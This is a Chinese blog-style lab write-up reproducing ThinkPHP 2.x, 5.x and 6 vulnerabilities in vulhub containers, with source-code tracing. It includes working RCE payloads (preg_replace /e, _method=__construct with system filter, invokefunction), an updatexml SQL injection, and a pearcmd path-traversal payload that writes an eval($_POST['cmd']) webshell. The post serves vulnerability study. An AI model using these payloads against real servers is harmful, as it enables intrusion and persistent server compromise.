之前打楚慧杯线下赛的时候,就考到了TP框架,我对这种框架的思路仍然是一把梭,说来实在是惭愧不已,因此痛定思痛复现一手,看看自己能不能借此增加对漏洞的感受之类。
TP框架分为2.0一直到6.0,其中3.x是12年出的,鲜少有了现在,5.x是15年出的,楚慧杯就是考察的这个。6.x是越来越流行了反正
这次主要是复现以下漏洞中的部分几个
TP8的反序列化漏洞本次博客估计不会说了。因为本人实力还没到那个层次。

ThinkPHP 2.x 任意代码执行漏洞
搭建
后续若非特殊说明,均是下文这种下载源码+直接使用vulhub镜像的方式
https://github.com/vulhub/thinkphp-2.1/tree/master/ThinkPHP下载TP,然后解压即可
漏洞点出在这里:

这段代码是分隔URL,自动把子域名对应解析到「项目分组 / 模块」,并附带传入 GET 请求参数,最终直接写入$_GET全局变量,用来后续路由分发控制器与模块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if(!empty($rule)) { $array = explode('/',$rule[0]); $module = array_pop($array); if(!empty($module)) { $_GET[C('VAR_MODULE')] = $module; $domainModule = true; } if(!empty($array)) { $_GET[C('VAR_GROUP')] = array_pop($array); $domainGroup = true; } if(isset($rule[1])) { parse_str($rule[1],$parms); $_GET = array_merge($_GET,$parms); } } }
|
然后这里是进行一个URL参数,也就是假如子域名匹配之后还是没有模块名这些,就从后面拿
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if(!self::routerCheck()){ $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var = array(); if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){ $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : ''; if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) { exit; } } if(!isset($_GET[C('VAR_MODULE')])) { $var[C('VAR_MODULE')] = array_shift($paths); } $var[C('VAR_ACTION')] = array_shift($paths);
|
主要漏洞点在这里:
1
| $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
|
$depr上文被赋值为$depr = C('URL_PATHINFO_DEPR');在thinkPHP配置这其实就是/
正则表达式完整形式为:
可以拆成两部分理解:
1 2 3 4 5 6
| @ 正则开始(分隔符) (\w+) 第1个捕获组 / 一个 / ([^/]+) 第2个捕获组 @ 正则结束 e /e 修饰符
|
主要问题出在这个/e修饰符里头,e 是 preg_replace 的 /e 修饰符,表示:将替换字符串作为 PHP 代码执行。PHP7已经废除了这个规则
preg_replace函数第一个参数是正则字符串,这里我们拼接上/,就得到了,上文也提到过。第二个参数就是目标字符串,这里可以看到很多斜杠,其实就是转义的,完整的原来的含义就是:$var['\1']="\2";.\1代表正则的第一个参数,\2代表第二个,就是上文中刚才分析的正则第一个捕获组和第二个捕获组。
这俩捕获组的后面可以跟代码,由于\e的存在能实现RCE
这里需要注意thinkphp的路由恰恰是通过这几行代码实现的,如test/id/1就是test函数的形参id传入实参1,结合上文就是var[id]=1,这是他路由上面的不同之处,理解这里才能更好的理解漏洞
by the way,虽然多次出现res这段漏洞代码,但是我们关注下面两行:
1 2 3 4 5 6 7
| $var[C('VAR_MODULE')] = array_shift($paths);
$var[C('VAR_ACTION')] = array_shift($paths);
|
正因为先弹出俩元素出来,所以我们得先构造俩/index/index(模块和控制器),否则触发不了漏洞
我这里直接用vulhub的镜像复现。
输入docker exec -it fec48b01a595 /bin/bash即可进入终端页面。查看thinkPHP源码路径
输入 docker cp 2-rce-web-1:/var/www/html F:/Desktop将他复制到桌面进行分析
可以看到还是存在上文提到过的漏洞代码。
那么我们直接去index.php复现吧

搭建好之后是这样。注意TP2是s参数传递我们刚才所说的一串路由,不要忘记加上?s=赋值即可
这里正则e本意是想要执行数组赋值操作,然而我们想要RCE势必是想要拿到回显的。这里需要借助PHP原生语法:PHP 双引号字符串 ${变量/表达式}
PHP 规定:双引号 " " 包裹的字符串里,${任意PHP表达式} 会直接执行表达式,并把结果嵌入字符串。写过一句话木马的都知道,@是错误抑制符,相当于强制执行语句了。
因此我们可以利用:${@phpinfo()}执行rce
poc:index.php?s=/index/index/name/${@phpinfo()}

我们用天狐工具检测也确实能看到漏洞信息

ThinkPHP 5.0.23-rce
这个漏洞我们直接在github的commit记录这看即可:
改进Request类 · top-think/framework@4a4b5e6
老代码:
1 2 3 4
| if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); }
|
新代码:
1 2 3 4 5 6
| $method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { $this->method = $method; $this->{$this->method}($_POST); }
|
也就是在500行这里的地方:

新代码对method做了限制处理,那么原代码这里就肯定有问题
核心危险代码:
1
| $this->{$this->method}($_POST);
|
这是 PHP 的动态方法调用。
等价于:
1 2 3
| $func = $_POST['_method'];
$this->$func($_POST);
|
ThinkPHP 支持 RESTful 方法伪装:
例如:
POST:
框架执行:
模拟 DELETE 请求。
正常允许:
1 2 3 4 5
| GET POST PUT DELETE PATCH
|
然而原来的代码没有过滤method
1
| $this->{$this->method}($_POST);
|
假设:
请求:
1 2 3
| POST /index.php
_method=某个内部方法
|
框架会执行:
这个POC如下:
1
| _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
|
原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| POST请求
_method=__construct | ↓ Request::method()
$this->method="__construct"
| ↓
$this->{$this->method}($_POST)
| ↓
$this->__construct($_POST)
| ↓
设置 Request 属性
filter=[ "system" ]
| ↓
后续调用input过滤
| ↓
call_user_func("system", 用户输入)
| ↓
system("id")
| ↓
命令执行
|
成功执行命令:

ThinkPHP 5.0.22/5.1.29RCE
搭建好后会自动进入以下页面:

简单分析下漏洞
ThinkPHP有一个总入口是App.PHP,我们路由解析也一定会经过这个php文件。就在解析路由的这个步骤上,出问题了
注意看这里的代码:
1 2 3
| $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller;
|
在这里,程序通过 strip_tags 去除了 HTML 标签,并做了一次大小写转换。然而,它没有对控制器名称做任何格式限制(如正则表达式校验)。 在正常情况下,控制器应该只是一个普通的类名(如 Index)。但由于缺乏过滤,攻击者可以传入包含命名空间斜杠(\)的完整类名,例如 \think\app。
1 2 3 4 5 6 7 8 9 10
| try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); }
|
随后,程序会进行实例化这个类。前文已经说过,由于缺乏校验,我们可以任意输入一个类路径让他实例化。TP框架最后不是会跟上方法和参数,随后就会执行这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $action = $actionName . $config['action_suffix'];
$vars = []; if (is_callable([$instance, $action])) { $call = [$instance, $action]; $reflect = new \ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) { $call = [$instance, '_empty']; $vars = [$actionName]; } else { throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); }
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars); }
|
综上所述,我们只需要控制好URL的类,他自己就会执行我们传入的方法。我们目的是RCE,那就寻找看和执行用户代码相关的类,聚焦目光到了下面这个地方:
1 2 3 4 5 6 7 8 9 10
| public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args); }
|
$args = self::bindParams($reflect, $vars); $args 是按顺序排好的参数数组,天然适配 call_user_func_array。
因此vulhub官方给的POC就是:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

ThinkPHP SQL注入漏洞
该漏洞形成最关键的一点是需要开启debug模式。所以略微有点鸡肋
index.php代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Index { public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); foreach($result as $row) { echo "<p>Hello, {$row['username']}</p>"; } } }
|
那也就是说主要是看此处sql查询是否会存在漏洞了
跟踪之后到达:
1 2 3 4 5
| public function whereIn($field, $condition, $logic = 'AND') { $this->parseWhereExp($logic, $field, 'in', $condition); return $this; }
|
继续跟:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| protected function parseWhereExp($logic, $field, $op, $condition, $param = []) { $logic = strtoupper($logic); if ($field instanceof \Closure) { $this->options['where'][$logic][] = is_string($op) ? [$op, $field] : $field; return; }
if (is_string($field) && !empty($this->options['via']) && !strpos($field, '.')) { $field = $this->options['via'] . '.' . $field; } if (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) { $where[] = ['exp', $field]; if (is_array($op)) { $this->bind($op); } } elseif (is_null($op) && is_null($condition)) { if (is_array($field)) { $where = $field; foreach ($where as $k => $val) { $this->options['multi'][$logic][$k][] = $val; } } elseif ($field && is_string($field)) { $where[$field] = ['null', '']; $this->options['multi'][$logic][$field][] = $where[$field]; } } elseif (is_array($op)) { $where[$field] = $param; } elseif (in_array(strtolower($op), ['null', 'notnull', 'not null'])) { $where[$field] = [$op, '']; $this->options['multi'][$logic][$field][] = $where[$field]; } elseif (is_null($condition)) { $where[$field] = ['eq', $op]; if ('AND' != $logic) { $this->options['multi'][$logic][$field][] = $where[$field]; } } else { $where[$field] = [$op, $condition, isset($param[2]) ? $param[2] : null]; if ('exp' == strtolower($op) && isset($param[2]) && is_array($param[2])) { $this->bind($param[2]); } $this->options['multi'][$logic][$field][] = $where[$field]; } if (!empty($where)) { if (!isset($this->options['where'][$logic])) { $this->options['where'][$logic] = []; } if (is_string($field) && $this->checkMultiField($field, $logic)) { $where[$field] = $this->options['multi'][$logic][$field]; } elseif (is_array($field)) { foreach ($field as $key => $val) { if ($this->checkMultiField($key, $logic)) { $where[$key] = $this->options['multi'][$logic][$key]; } } } $this->options['where'][$logic] = array_merge($this->options['where'][$logic], $where); } }
|
这个就是关键函数了
主要漏洞点在这里:
1 2 3 4 5 6
| if (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) { $where[] = ['exp', $field]; if (is_array($op)) { $this->bind($op); }
|
这里会把用户输入当作exp表达式。而参数绑定(也就是预编译)里面的op就是我们后面要输入的东西,却不影响我们漏洞的利用
这里采取报错注入输入:
ids[0,updatexml(0,concat(0xa,user()),0)]=1
这里的1就是被参数绑定的op。然而前面的$filed因为没有过滤,被执行。
即可实现注入。这里是debug模式才能看到。debug模式开启:/application/config.php的app_debug和app_trace都设置为true

ThinkPHP 6 Lang-RCE
参考:ThinkPHP多语言rce复现分析 - 知乎
看漏洞描述:如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含

我是TP6,在这里看开启了多语言没有。TP5则是application/config.php。
跟踪到这个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function handle($request, Closure $next) { $langset = $this->detect($request);
if ($this->lang->defaultLangSet() != $langset) { $this->lang->switchLangSet($langset); }
$this->saveToCookie($this->app->cookie, $langset);
return $next($request); }
|
可以看到会调用detect函数检测当前语言
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
|
protected function detect(Request $request): string { $langSet = '';
if ($request->get($this->config['detect_var'])) { $langSet = strtolower($request->get($this->config['detect_var'])); } elseif ($request->header($this->config['header_var'])) { $langSet = strtolower($request->header($this->config['header_var'])); } elseif ($request->cookie($this->config['cookie_var'])) { $langSet = strtolower($request->cookie($this->config['cookie_var'])); } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches); if ($match) { $langSet = strtolower($matches[1]); if (isset($this->config['accept_language'][$langSet])) { $langSet = $this->config['accept_language'][$langSet]; } } }
if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) { $range = $langSet; $this->lang->setLangSet($range); } else { $range = $this->lang->getLangSet(); }
return $range; }
|
可以看到会从Url、cookie等之中找语言变量。最后还会检查语言是否在白名单,在的话就直接设置,否则调用getLangSet()获取默认值
最终如果传入的语言不是默认语言,就会调用以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function switchLangSet(string $langset) { if (empty($langset)) { return; }
$this->load([ $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php', ]);
$files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*'); $this->load($files);
$list = $this->app->config->get('lang.extend_list', []);
if (isset($list[$langset])) { $this->load($list[$langset]); } }
|
接着跟进load函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public function load($file, $range = ''): array { $range = $range ?: $this->range; if (!isset($this->lang[$range])) { $this->lang[$range] = []; }
$lang = [];
foreach ((array) $file as $name) { if (is_file($name)) { $result = $this->parse($name); $lang = array_change_key_case($result) + $lang; } }
if (!empty($lang)) { $this->lang[$range] = $lang + $this->lang[$range]; }
return $this->lang[$range]; }
|
接着看算法,大概思路就是会调用parse函数进行操作
进去看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| protected function parse(string $file): array { $type = pathinfo($file, PATHINFO_EXTENSION);
switch ($type) { case 'php': $result = include $file; break; case 'yml': case 'yaml': if (function_exists('yaml_parse_file')) { $result = yaml_parse_file($file); } break; case 'json': $data = file_get_contents($file);
if (false !== $data) { $data = json_decode($data, true);
if (json_last_error() === JSON_ERROR_NONE) { $result = $data; } }
break; }
return isset($result) && is_array($result) ? $result : []; }
|
直接就看到了include,而且还是包含的php文件
通过整个链条的跟踪也发现没有针对传入parse的参数的过滤
这里只有文件包含显然执行不了命令,还得配合文件写入才可以
这里看poc用了pear
pearcmd.php 支持通过GET 传参直接接收指令,实现任意文件写入、命令执行,是 PHP 环境里极易被利用的原生危险文件。
poc:[127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd](http://127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd)
当然这里路径不唯一,需要指向pearcmd.php位置

说明可以用pear。PHP 7.4 之后,PEAR 不再默认内置。
当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内。当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容
1
| ?../../usr/local/lib/php/pearcmd+config-create+<?php @eval($_POST['cmd']);?>+/var/www/html/shell.php
|
经过服务器解码后,+ → 空格,pearcmd 拿到的 argv 列表等价于命令行执行:
1
| php pearcmd config-create "<?php @eval($_POST['cmd']);?>" /var/www/html/shell.php
|
vulhub提供的poc是:GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
背景:当 PHP 的配置文件 php.ini 中开启了 register_argc_argv 选项时,Web 请求的查询字符串(Query String)中的 + 会被解析为空格,并作为命令行参数(argv)传递给被执行的 PHP 脚本。
解析后:对于 pearcmd.php 来说,它收到的命令行参数等同于:
Bash
1
| pearcmd.php config-create /&lang=... /<?=phpinfo()?> shell.php
|
config-create 是 PEAR 的一个内置命令,用于创建一个新的配置文件。
语法格式:pear config-create <文件路径> <文件名>
参数对应:
- 第一个参数(路径):PoC 中传入了包含恶意的 PHP 代码
<?=phpinfo()?> 的字符串。
- 第二个参数(文件名):
shell.php。
执行结果:pearcmd.php 会在服务器的当前工作目录下(通常是网站的 Web 根目录)创建一个名为 shell.php 的文件。而由于第一个参数被写入了配置文件的内容中,生成的 shell.php 里面就会包含这段恶意的代码:<?=phpinfo()?>。
<?= ... ?>(短输出标签)
这是 PHP 的一种简写形式,它等价于 <?php echo ... ?>。它的作用是告诉服务器:“请把括号里面的内容直接打印(输出)到网页上。
PEAR 的 config-create 命令语法是:pear config-create <根目录路径> <文件名>。
我们也可以用下面的:
1
| http://127.0.0.1:8080/?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/%3C?=phpinfo()?%3E+shell.php
|

出来了pear的执行日志
假如出现这样:

这是浏览器自动编码的问题,我们用bp/yakit抓包发送即可

番外
我也很好奇电脑上的thinkphp漏洞扫描工具是怎么实现扫描的,于是干起老本行逆向分析一把
这种工具都是内置了poc,扫描的时候根据poc进行匹配
就拿上文的某个rce漏洞来说,他会内置poc,如下所示(程序是使用java开发)
1 2 3 4 5
| HttpURLConnection httpURLConnection = HttpRequestUtil.post(url + "?s=" + module); httpURLConnection.setDoOutput(true); httpURLConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); String postData = "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=" + command;
|